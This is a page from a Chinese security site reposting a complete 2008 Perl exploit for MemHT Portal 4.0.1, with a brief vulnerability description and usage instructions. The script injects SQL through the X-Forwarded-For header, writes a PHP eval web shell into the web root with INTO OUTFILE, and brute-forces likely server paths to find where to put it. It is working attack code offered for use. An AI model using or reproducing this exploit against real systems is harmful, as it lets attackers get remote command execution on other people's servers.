首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MemHT Portal 4.0.1 SQL Injection Code Execution Exploit
来源:ax330d [doggy] gmail [dot] com 作者:Ams 发布时间:2008-11-14  
#!/usr/bin/perl

=about

MemHT 4.0.1 Perl exploit

AUTHOR
    discovered & written by Ams
    ax330d [doggy] gmail [dot] com

VULN. DESCRIPTION:
    Due to weak params filtering we are able to make
    SQL-Injection. So,
        1. Look at 'inc/ajax/ajax_rating.php', line ~ 29.
    It is not enough to check whether script has been accessed from
    main file. Better define some value.
        2. 'inc/inc_login.php' line ~ 35. Here we are able to send and
    bypass any IP. That eregi does not help, look at exploit in injection,
    comma is the last one.
   
    As proof this exploit creates simple shell.
   
REQUIREMENTS:
    MySQL should be able to write to file
Know full server path to portal
   
=cut

use strict;
use warnings;
use IO::Socket;

print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  MemHT portal 4.0.1 Perl exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
";

my $expl_url  = shift or &usage;
my $serv_path = shift || '-b';
my $def_shell = '/uploads/file/files.php';
# Simple concept shell
my $shell = '<?php @eval($_GET[cmd]);';

my @paths = qw(
/var/www/htdocs /var/www/localhost/htdocs /var/www /var/wwww/hosting /var/www/html /var/www/vhosts
/home/www  /home/httpd/vhosts
/usr/local/apache/htdocs
/www/htdocs
);

@paths = ( $serv_path ) unless $serv_path eq '-b';

exploit( $expl_url );

sub exploit {

# Defining vars.
$_ = shift;
$_ .= '/' unless substr($_, -1) eq '/';
print "\n\tExploiting:\t $_\n";

my($packet, $rcvd, $injection);
my($prot, $host, $path, ) = m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};

# Trying to get /lang/english.php to get server path
$packet  = "POST $path/lang/english.php HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
$rcvd = send_pckt($host, $packet, 1);

die "\n\tUnable to connect to $host!\n\n" unless $rcvd;

if( $rcvd =~ /Undefined variable:/ ) {
@paths = ($rcvd =~ m#\s+in\s+(.*?)${path}lang/english.php#);
print "\n\tFound path:\t $paths[-1]\n";
} else {
print "\n\tStarting bruteforce...\n";
}

# Some bruteforce here if path is not defined
for $serv_path ( @paths ) {

        $injection = "' UNION SELECT '$shell' INTO OUTFILE '$serv_path$path$def_shell'-- /*,";
       
print "\n\tTesting:\t $serv_path$path$def_shell ...\n";
       
# Sending poisoned request
$packet  = "GET $path/inc/ajax/ajax_rating.php HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
        $packet .= "X-Forwarded-For:$injection\r\n";
        $packet .= "Referer:http://$host$path/index.php\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";

send_pckt($host, $packet, 1) or die "\n\tUnable to connect to http://$host!\n\n";
}

# Checking for shell presence
$packet  = "HEAD $path$def_shell HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";

$rcvd = send_pckt($host, $packet, 1);
if( ! $rcvd) {
print "\n\tUnable to connect to $host\n\n";
exit;
}

if( $rcvd =~ /200\s+OK/ ) {
print "\n\tExploited:\t http://$host$path$def_shell\n\n";
} else {
print "\n\tExploiting failed.\n\n";
}

}

sub send_pckt() {

my $dat;
my ($host, $packet, $ret) = @_;
my $socket = IO::Socket::INET->new(
Proto    => 'tcp',
PeerAddr => $host,
PeerPort => 80
);
if( ! $socket) {
return 0;
} else {

print $socket $packet;
if( $ret ) {
local $/;
$dat = <$socket>;
}
close $socket;
return $dat;
}
}

sub usage {
print "\n\tUsage:\t$0 http://site.com [-b|full server path]

By default exlpoit checks /lang/english.php for errors to get real path,
If path could not be found exploit will bruteforce it ( or if used -b or none path is specified ).

Example:\t$0 http://localhost/ /var/www/htdocs
$0 http://localhost/ -b
$0 http://localhost/\n\n";
exit;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux/x86 setuid(0) & execve(/
·MS Windows Server Service Code
·Discuz! 6.x/7.x Remote Code Ex
·Net-SNMP <= 5.1.4/5.2.4/5.4.1
·SlimCMS <= 1.0.0 (edit.php) Re
·Castle Rock Computing SNMPc <
·Linux Kernel < 2.4.36.9/2.6.27
·VeryPDF PDFView OCX ActiveX Op
·smcFanControl 2.1.2 Multiple B
·Sudo <= 1.6.9p18 (Defaults set
·ooVoo 1.7.1.35 (URL Protocol)
·Minigal b13 (index.php list) R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved